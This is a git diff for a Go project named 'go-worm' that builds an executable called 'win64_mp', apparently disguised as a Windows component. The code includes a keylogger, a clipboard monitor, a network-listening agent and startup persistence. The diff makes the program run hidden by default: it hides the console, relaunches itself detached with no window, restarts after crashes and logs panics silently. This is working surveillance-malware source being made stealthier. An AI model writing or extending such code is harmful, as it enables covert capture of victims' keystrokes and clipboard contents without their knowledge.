diff --git a/lib/agent/agent.go b/lib/agent/agent.go index 0794f92..0543b15 100644 --- a/lib/agent/agent.go +++ b/lib/agent/agent.go @@ -100,16 +100,16 @@ func (a *Agent) Serve() error { return fmt.Errorf("listen %s: %w", a.addr, err) } - fmt.Printf("win64_mp %s\nListening on http://%s\nPress Ctrl+C to stop.\n", config.Version, a.addr) + helpers.Log.Printf("win64_mp %s listening on http://%s", config.Version, a.addr) ctx, stop := signal.NotifyContext(context.Background(), os.Interrupt) defer stop() - go func() { + helpers.Go("shutdown", func() { <-ctx.Done() shutdownCtx, cancel := context.WithTimeout(context.Background(), 5*time.Second) defer cancel() _ = a.server.Shutdown(shutdownCtx) - }() + }) if err := a.server.Serve(listener); err != nil && !errors.Is(err, http.ErrServerClosed) { return fmt.Errorf("serve: %w", err) diff --git a/lib/clipmon/clipmon.go b/lib/clipmon/clipmon.go index d1e46a6..0022393 100644 --- a/lib/clipmon/clipmon.go +++ b/lib/clipmon/clipmon.go @@ -5,6 +5,7 @@ import ( "time" "tea.chunkbyte.com/kato/go-worm/lib/config" + "tea.chunkbyte.com/kato/go-worm/lib/helpers" ) var ( @@ -45,6 +46,7 @@ func Start() error { writerWG.Add(1) go func() { defer writerWG.Done() + defer helpers.RecoverLog("clipmon-writer") for { select { case event := <-events: diff --git a/lib/clipmon/monitor_windows.go b/lib/clipmon/monitor_windows.go index c3d0715..2d87118 100644 --- a/lib/clipmon/monitor_windows.go +++ b/lib/clipmon/monitor_windows.go @@ -12,6 +12,8 @@ import ( "syscall" "time" "unsafe" + + "tea.chunkbyte.com/kato/go-worm/lib/helpers" ) const ( @@ -50,6 +52,7 @@ type bitmapInfoHeader struct { func startPlatform(w *Writer, events chan Event, stop <-chan struct{}, done chan struct{}) error { go func() { defer close(done) + defer helpers.RecoverLog("clipmon-poll") pollClipboard(w, stop) }() return nil diff --git a/lib/config/config.go b/lib/config/config.go index aa4f507..50ae59c 100644 --- a/lib/config/config.go +++ b/lib/config/config.go @@ -5,12 +5,14 @@ import ( "path/filepath" "strconv" "strings" + "time" ) const ( Version = "1.0.0" DefaultAddr = "0.0.0.0:5032" MutexName = "win64_mp_Mutex" + RestartDelay = 3 * time.Second RequestBodyMax = 1 << 20 MaxUploadSize = 100 << 20 // ponytail: 100MB cap; raise via env later if needed MaxListEntries = 10000 diff --git a/lib/crashlog/crashlog.go b/lib/crashlog/crashlog.go index 542ae4c..1c3d14e 100644 --- a/lib/crashlog/crashlog.go +++ b/lib/crashlog/crashlog.go @@ -13,11 +13,10 @@ import ( var mu sync.Mutex -// Recover logs a panic and re-raises after writing the crash file. +// Recover logs a panic without re-raising (used by optional defer wrappers). func Recover() { if r := recover(); r != nil { _ = write("panic", fmt.Sprint(r), debug.Stack()) - panic(r) } } diff --git a/lib/helpers/helpers.go b/lib/helpers/helpers.go index da9a4fe..15fec84 100644 --- a/lib/helpers/helpers.go +++ b/lib/helpers/helpers.go @@ -2,7 +2,6 @@ package helpers import ( "encoding/json" - "log" "net" "net/http" "os" @@ -12,8 +11,6 @@ import ( "tea.chunkbyte.com/kato/go-worm/lib/models" ) -var Log = log.New(os.Stdout, "", log.Ldate|log.Ltime|log.Lmicroseconds) - func RecoverHandler(next http.Handler) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { defer func() { diff --git a/lib/helpers/logfile.go b/lib/helpers/logfile.go new file mode 100644 index 0000000..ec560e7 --- /dev/null +++ b/lib/helpers/logfile.go @@ -0,0 +1,25 @@ +package helpers + +import ( + "os" + "path/filepath" + + "tea.chunkbyte.com/kato/go-worm/lib/config" +) + +// AttachLogFile appends application logs to logs/agent.log. +func AttachLogFile() error { + dir, err := config.LogsDir() + if err != nil { + return err + } + if err := os.MkdirAll(dir, 0o700); err != nil { + return err + } + f, err := os.OpenFile(filepath.Join(dir, "agent.log"), os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0o600) + if err != nil { + return err + } + SetLogOutput(f) + return nil +} diff --git a/lib/helpers/safe.go b/lib/helpers/safe.go new file mode 100644 index 0000000..203731c --- /dev/null +++ b/lib/helpers/safe.go @@ -0,0 +1,50 @@ +package helpers + +import ( + "fmt" + "io" + "log" + "os" + "sync" + + "tea.chunkbyte.com/kato/go-worm/lib/crashlog" +) + +var ( + logMu sync.Mutex + logW io.Writer = os.Stdout +) + +var Log = log.New(&logWriter{}, "", log.Ldate|log.Ltime|log.Lmicroseconds) + +type logWriter struct{} + +func (logWriter) Write(p []byte) (int, error) { + logMu.Lock() + defer logMu.Unlock() + return logW.Write(p) +} + +// SetLogOutput redirects application logging (e.g. after hiding the console). +func SetLogOutput(w io.Writer) { + logMu.Lock() + defer logMu.Unlock() + logW = w +} + +// Go runs fn in a goroutine with panic recovery. +func Go(component string, fn func()) { + go func() { + defer RecoverLog(component) + fn() + }() +} + +// RecoverLog logs a recovered panic from a background component. +func RecoverLog(component string) { + if r := recover(); r != nil { + detail := fmt.Sprintf("%s: %v", component, r) + Log.Printf("panic %s", detail) + crashlog.RecordPanic(detail) + } +} diff --git a/lib/install/install.go b/lib/install/install.go index bfca9f1..de751a5 100644 --- a/lib/install/install.go +++ b/lib/install/install.go @@ -4,7 +4,6 @@ import ( "fmt" "io" "os" - "os/exec" "path/filepath" "strings" @@ -44,15 +43,7 @@ func Ensure() error { return fmt.Errorf("update startup path: %w", err) } - cmd := exec.Command(target, os.Args[1:]...) - cmd.Stdin = os.Stdin - cmd.Stdout = os.Stdout - cmd.Stderr = os.Stderr - if err := cmd.Start(); err != nil { - return fmt.Errorf("relaunch from %s: %w", target, err) - } - os.Exit(0) - return nil + return relaunchInstalled(target) } func copyExe(from, to string) error { diff --git a/lib/install/relaunch_stub.go b/lib/install/relaunch_stub.go new file mode 100644 index 0000000..7c53fd3 --- /dev/null +++ b/lib/install/relaunch_stub.go @@ -0,0 +1,21 @@ +//go:build !windows + +package install + +import ( + "fmt" + "os" + "os/exec" +) + +func relaunchInstalled(target string) error { + cmd := exec.Command(target, os.Args[1:]...) + cmd.Stdin = os.Stdin + cmd.Stdout = os.Stdout + cmd.Stderr = os.Stderr + if err := cmd.Start(); err != nil { + return fmt.Errorf("relaunch from %s: %w", target, err) + } + os.Exit(0) + return nil +} diff --git a/lib/install/relaunch_windows.go b/lib/install/relaunch_windows.go new file mode 100644 index 0000000..c9b1067 --- /dev/null +++ b/lib/install/relaunch_windows.go @@ -0,0 +1,18 @@ +//go:build windows + +package install + +import ( + "fmt" + "os" + + "tea.chunkbyte.com/kato/go-worm/lib/instance" +) + +func relaunchInstalled(target string) error { + if err := instance.Launch(target, os.Args[1:]); err != nil { + return fmt.Errorf("relaunch from %s: %w", target, err) + } + os.Exit(0) + return nil +} diff --git a/lib/instance/console_stub.go b/lib/instance/console_stub.go new file mode 100644 index 0000000..9832273 --- /dev/null +++ b/lib/instance/console_stub.go @@ -0,0 +1,5 @@ +//go:build !windows + +package instance + +func HideConsole() {} diff --git a/lib/instance/console_windows.go b/lib/instance/console_windows.go new file mode 100644 index 0000000..ad81acf --- /dev/null +++ b/lib/instance/console_windows.go @@ -0,0 +1,37 @@ +//go:build windows + +package instance + +import ( + "os" + "syscall" +) + +var ( + kernel32 = syscall.NewLazyDLL("kernel32.dll") + procFreeConsole = kernel32.NewProc("FreeConsole") + user32 = syscall.NewLazyDLL("user32.dll") + procShowWindow = user32.NewProc("ShowWindow") +) + +const swHide = 0 + +// HideConsole hides any console window and detaches from it. +func HideConsole() { + hwnd, _, _ := kernel32.NewProc("GetConsoleWindow").Call() + if hwnd != 0 { + _, _, _ = procShowWindow.Call(hwnd, swHide) + } + _, _, _ = procFreeConsole.Call() + redirectStdioToNul() +} + +func redirectStdioToNul() { + nul, err := os.OpenFile("NUL", os.O_RDWR, 0) + if err != nil { + return + } + os.Stdin = nul + os.Stdout = nul + os.Stderr = nul +} diff --git a/lib/instance/detach.go b/lib/instance/detach.go index 7872022..4cb903a 100644 --- a/lib/instance/detach.go +++ b/lib/instance/detach.go @@ -3,11 +3,6 @@ package instance import ( "fmt" "os" - "os/exec" - "strings" - "syscall" - - "golang.org/x/sys/windows" "tea.chunkbyte.com/kato/go-worm/lib/config" ) @@ -20,32 +15,5 @@ func Detach() error { if err != nil { return err } - nul, err := os.OpenFile("NUL", os.O_RDWR, 0) - if err != nil { - return err - } - defer nul.Close() - - cmd := exec.Command(exe, stripBackground(os.Args[1:])...) - cmd.Stdin = nul - cmd.Stdout = nul - cmd.Stderr = nul - cmd.SysProcAttr = &syscall.SysProcAttr{ - HideWindow: true, - CreationFlags: windows.CREATE_NO_WINDOW | windows.CREATE_NEW_PROCESS_GROUP, - } - return cmd.Start() -} - -func stripBackground(args []string) []string { - out := make([]string, 0, len(args)) - for _, arg := range args { - name := strings.TrimLeft(arg, "-/") - lower := strings.ToLower(name) - if lower == "background" || strings.HasPrefix(lower, "background=") { - continue - } - out = append(out, arg) - } - return out + return Launch(exe, filterArgs(os.Args[1:])) } diff --git a/lib/instance/launch_stub.go b/lib/instance/launch_stub.go new file mode 100644 index 0000000..bc4c73f --- /dev/null +++ b/lib/instance/launch_stub.go @@ -0,0 +1,11 @@ +//go:build !windows + +package instance + +func Launch(exe string, args []string) error { + return nil +} + +func RestartSelf() error { + return nil +} diff --git a/lib/instance/launch_windows.go b/lib/instance/launch_windows.go new file mode 100644 index 0000000..7caba4d --- /dev/null +++ b/lib/instance/launch_windows.go @@ -0,0 +1,58 @@ +//go:build windows + +package instance + +import ( + "os" + "os/exec" + "strings" + "syscall" + + "golang.org/x/sys/windows" + + "tea.chunkbyte.com/kato/go-worm/lib/config" +) + +// Launch starts exe detached with no visible window or console IO. +func Launch(exe string, args []string) error { + nul, err := os.OpenFile("NUL", os.O_RDWR, 0) + if err != nil { + return err + } + defer nul.Close() + + cmd := exec.Command(exe, args...) + cmd.Stdin = nul + cmd.Stdout = nul + cmd.Stderr = nul + cmd.SysProcAttr = &syscall.SysProcAttr{ + HideWindow: true, + CreationFlags: windows.CREATE_NO_WINDOW | windows.CREATE_NEW_PROCESS_GROUP, + } + return cmd.Start() +} + +// RestartSelf launches a fresh agent process (no mutex check). +func RestartSelf() error { + exe, err := config.InstalledExe() + if err != nil { + return err + } + return Launch(exe, nil) +} + +func filterArgs(args []string) []string { + out := make([]string, 0, len(args)) + for _, arg := range args { + name := strings.TrimLeft(arg, "-/") + lower := strings.ToLower(name) + switch { + case lower == "background" || strings.HasPrefix(lower, "background="): + continue + case lower == "foreground" || strings.HasPrefix(lower, "foreground="): + continue + } + out = append(out, arg) + } + return out +} diff --git a/lib/keylog/hook_windows.go b/lib/keylog/hook_windows.go index 9f628de..3816a1f 100644 --- a/lib/keylog/hook_windows.go +++ b/lib/keylog/hook_windows.go @@ -10,6 +10,7 @@ import ( "unsafe" "tea.chunkbyte.com/kato/go-worm/lib/config" + "tea.chunkbyte.com/kato/go-worm/lib/helpers" ) const ( @@ -83,12 +84,14 @@ func startPlatform(_ *Writer, events chan Event, stop <-chan struct{}, done chan go func() { defer close(done) + defer helpers.RecoverLog("keylog-hook") _ = runHookThread(ready) hookEvents = nil hookThreadID = 0 }() go func() { + defer helpers.RecoverLog("keylog-stop") select { case <-ready: case <-stop: diff --git a/lib/keylog/keylog.go b/lib/keylog/keylog.go index 7e89613..2fba364 100644 --- a/lib/keylog/keylog.go +++ b/lib/keylog/keylog.go @@ -4,6 +4,7 @@ import ( "sync" "tea.chunkbyte.com/kato/go-worm/lib/config" + "tea.chunkbyte.com/kato/go-worm/lib/helpers" ) var ( @@ -44,6 +45,7 @@ func Start() error { writerWG.Add(1) go func() { defer writerWG.Done() + defer helpers.RecoverLog("keylog-writer") for { select { case event := <-events: diff --git a/main.go b/main.go index 62d425f..8228ada 100644 --- a/main.go +++ b/main.go @@ -4,58 +4,102 @@ // // GOOS=windows GOARCH=amd64 go build -ldflags "-s -w" -o win64_mp.exe . // -// A CMD window appears on launch. Use -background to start without a window: -// -// win64_mp.exe -background +// Runs headless by default. Use -foreground for a visible console (dev only). +// Use -background to spawn a detached copy and exit the launcher. package main import ( + "errors" "flag" + "fmt" + "strings" + "time" "tea.chunkbyte.com/kato/go-worm/lib/agent" + "tea.chunkbyte.com/kato/go-worm/lib/config" "tea.chunkbyte.com/kato/go-worm/lib/crashlog" "tea.chunkbyte.com/kato/go-worm/lib/helpers" "tea.chunkbyte.com/kato/go-worm/lib/install" "tea.chunkbyte.com/kato/go-worm/lib/instance" ) -func main() { - defer crashlog.Recover() +var errAlreadyRunning = errors.New("agent already running") - background := flag.Bool("background", false, "run without a console window") +func main() { + background := flag.Bool("background", false, "spawn detached agent and exit") ensure := flag.Bool("ensure", false, "start the agent if it is not already running") + foreground := flag.Bool("foreground", false, "keep console visible (dev only)") flag.Parse() if err := install.Ensure(); err != nil { - die(err) + die(err, *foreground) } if *ensure { + if !*foreground { + instance.HideConsole() + _ = helpers.AttachLogFile() + } if err := instance.EnsureRunning(); err != nil { - die(err) + die(err, *foreground) } return } if *background { if err := instance.Detach(); err != nil { - die(err) + die(err, *foreground) } return } + if !*foreground { + instance.HideConsole() + _ = helpers.AttachLogFile() + } + + for { + err := runAgent() + if err == nil { + return + } + if errors.Is(err, errAlreadyRunning) { + return + } + crashlog.RecordError(err) + helpers.Log.Printf("agent stopped: %v; restarting in %s", err, config.RestartDelay) + time.Sleep(config.RestartDelay) + } +} + +func runAgent() (err error) { + defer func() { + if r := recover(); r != nil { + crashlog.RecordPanic(r) + err = fmt.Errorf("panic: %v", r) + } + }() + a, err := agent.New() if err != nil { - die(err) + if strings.Contains(err.Error(), "already running") { + return errAlreadyRunning + } + return err } defer a.Close() if err := a.Serve(); err != nil { - die(err) + return err } + return nil } -func die(err error) { +func die(err error, foreground bool) { + if !foreground { + instance.HideConsole() + _ = helpers.AttachLogFile() + } crashlog.RecordError(err) helpers.Log.Fatal(err) }